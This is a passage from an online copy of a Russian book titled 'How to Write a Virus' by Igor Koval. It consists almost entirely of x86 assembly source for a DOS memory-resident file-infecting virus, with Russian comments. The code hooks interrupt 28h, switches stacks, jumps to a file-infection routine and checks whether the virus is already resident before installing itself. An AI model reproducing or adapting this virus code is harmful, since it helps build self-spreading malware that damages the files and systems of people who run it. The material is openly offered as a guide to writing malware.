"Игорь Коваль. Как написать вирус" - читать интересную книгу автора ;Нет - вызовем
;старый обработ- ;чик INT 28h, ;чтобы не топить ;другие TSR ... iret vir_2: popf ;Переключаем ;стек для TSR - ;исполнения на mov cs:ss_save-110h,ss ;себя ... mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0 pushf ;Вызываем старый db 9ah ;обработчик old_28h dw 0 ;INT 28h ... old_28h_2 dw 0 pushf ;Сохраним в сте- push ax ;ке регистры ... push bx push cx push dx push di push bp push ds push es jmp cs:infect ;Перейти к зара- ;жению файлов push_len equ $-vir - 2 mov ax,ds ;Корректируем DS ;для нерезидент- ;ной работы ... db 05h ;Код команды add_to_ds: dw 0 ;" ADD AX,00h " mov ds,ax mov ax,0f000h ;Проверим, есть mov bx,1997h ;вирус в памяти, int 2fh ;или еще нет ... jc fresh_bytes cmp al,0ffh jne free_mem ;Нет - ;устанавливаем |
|
|